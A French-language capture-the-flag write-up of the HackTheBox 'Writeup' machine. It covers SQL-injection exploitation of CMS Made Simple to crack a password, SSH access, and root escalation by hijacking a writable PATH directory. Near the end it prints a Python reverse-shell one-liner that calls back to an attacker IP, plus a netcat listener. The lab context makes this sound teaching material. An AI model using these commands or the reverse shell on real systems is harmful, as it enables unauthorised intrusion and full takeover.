HackTheBox - Writeup
Retourroot@kali:~# nmap -sCV 10.10.10.138 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-12 21:19 CEST
Nmap scan report for 10.10.10.138
Host is up (0.021s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.61 seconds
Sur le port 80, une page web toute bête, elle indique qu’un script surveille les requêtes web et nous bannit en cas de bruteforce. Ceci se confirme avec l’usage de tcpwrapper comme l’indique Nmap.
Faisons un tour des fichiers communs dans la recherche d’informations web :
- index.php : rien
- Login.php : rien
- robots.txt : Bingo !
# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/
Rendez-vous dans le sous dossier :
Nous trouvons un site basique, voyons les requêtes envoyées par le navigateur a la recherche d’indice :
Host: 10.10.10.138
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: CMSSESSID9d372ef93962=b771ajp0ef695nuv0h5u4u1bd6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 19 Apr 2019 08:36:26 GMT
Cache-Control: max-age=0
Un cookie du nom de CMSSESSID
indique ici l’existence d’un framework ou d’un CMS.
En tapant ceci sur google nous trouvons des pages de politique de cookie signalant ceci :
Le cookie commençant par **CMSSESSID **est créé par notre outil de gestion de contenu, CMS Made Simple, pour assurer son bon fonctionnement.
Voyons voir les exploits disponibles :
root@kali:~# searchsploit CMS Made Simple
[je passe les détails, beaucoup d'exploits]
CMS Made Simple < 2.2.10 - SQL Injection | exploits/php/webapps/46635.py
En regardant les requêtes envoyées lorsque l’on clique sur les liens de la page, nous trouvons ceci :
http://10.10.10.138/writeup/index.php?page=writeup
Cela me semble assimilable à une potentielle source d’injection SQL. Je vais donc tenter cette piste.
Je vais donc récupérer l’exploit :
cp /usr/share/exploitdb/exploits/php/webapps/46635.py ./exploit.py
Puis le modifier :
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME =17
db_name = ""
output = ""
email = "jkr@writeup.htb"
salt = ''
Avant de le lancer :
root@kali:~/writeup# python exploit-sql.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htbjkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9
Note : cet exploit est d’une lenteur et d’une instabilité invraisemblable. Il faut donc tweaker la variable Time entre 15 et 30. Laisser tourner durant 8 a 10 minutes et ensuite retenter en cas d’échec. Conseil : Faire cette partie a coté d’un autre challenge ou d’une autre VM car elle a pris 3 jours dans mon cas.
Maintenant, testons les mots de passe partout :
root@kali:~/writeup# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 16 03:16:24 2019 from 10.10.14.2
jkr@writeup:~$ whoami
jkr
jkr@writeup:~$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978
Maintenant, place au privesc, avec pspy :
Note : cet outil permet aux users d’espionner les commandes et les appels au filesystem effectués par les autres utilisateurs, même root.
De l’autre côté je lance une deuxième connexion SSH pour faire des tests et voici ce que j’obtiens :
jkr@writeup:~$ ./pspy
2019/06/16 08:35:30 CMD: UID=0 PID=2467 | sshd: [accepted]
2019/06/16 08:35:30 CMD: UID=0 PID=2469 | sshd: [accepted]
2019/06/16 08:35:41 CMD: UID=0 PID=2470 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:
/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/06/16 08:35:41 CMD: UID=0 PID=2471 | /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/s
bin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d
Après quelques recherches et l’utilisation de pspy -pf
je découvre que la connexion SSH s’effectue en plusieurs temps :
- Connexion + négociation (échange de clé et consort)
- Appel au script d’initialisation de la session
- Mise en place du path
- Appel d’un script de génération de MOTD personnalisé
Le fameux script est affichable :
jkr@writeup:~$ cat /etc/update-motd.d/10-uname
#!/bin/sh
uname -rnsom
Comme nous le voyons dans la sortie de pspy, le path est le suivant :
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts
Voyons voir les droits disponibles :
jkr@writeup:~$ ls -aldh {/usr/local/sbin,/usr/local/bin,/usr/sbin,/usr/bin,/sbin,/bin}
drwxr-xr-x 2 root root 4.0K Apr 19 04:24 /bin
drwxr-xr-x 2 root root 4.0K Apr 19 04:14 /sbin
drwxr-xr-x 2 root root 20K Apr 24 13:13 /usr/bin
drwx-wsr-x 2 root staff 20K Jun 16 09:08 /usr/local/bin
drwx-wsr-x 2 root staff 12K Apr 19 04:11 /usr/local/sbin
drwxr-xr-x 2 root root 4.0K Apr 19 07:31 /usr/sbin
Pour simplifier, le chemin vers uname
est le suivant :
jkr@writeup:~$ which uname
/bin/uname
Les groupes de l’utilisateur jkr sont les suivants :
jkr@writeup:~$ groups
jkr cdrom floppy audio dip video plugdev staff netdev
Il est donc possible d’écrire dans le dossier /usr/local/bin
.
Mais que se passe t’il si je créé un script dans le chemin /usr/local/bin
avec le même nom (uname)?
jkr@writeup:~$ vi /usr/local/bin/uname
#!/bin/bash
echo "coucou"
jkr@writeup:~$ chmod +x /usr/local/bin/uname
jkr@writeup:~$ uname
coucou
Le bash exécute bêtement mon script, maintenant soyons plus dangereux :
jkr@writeup:~$ vi /usr/local/bin/uname
#!/bin/bash
whoami
cat /root/root.txt
jkr@writeup:~$ uname
jkr
cat: /root/root.txt: Permission denied
jkr@writeup:~$ exit
logout
Connection to 10.10.10.138 closed.
root@kali:~/writeup# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
root
eeba47f60b48ef92b734f9b6198d7226
Comme vous le voyez, nous sommes root ! Pour permettre de militariser l’attaque nous pourrions créer un utilisateur ou encore placer un reverse shell sur la cible pour s’y connecter directement :
#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Une fois sur le reverse shell :
root@kali:~/writeup# netcat -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.138] 56362
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# python -c 'import pty;pty.spawn("/bin/bash")
# export TERM=xterm
crtl-Z
root@kali:~/writeup# stty raw -echo
root@kali:~/writeup# netcat -nlvp 1234
Note : PSPY est dispo ici sous forme de release exécutable: https://github.com/DominicBreuker/pspy
Retour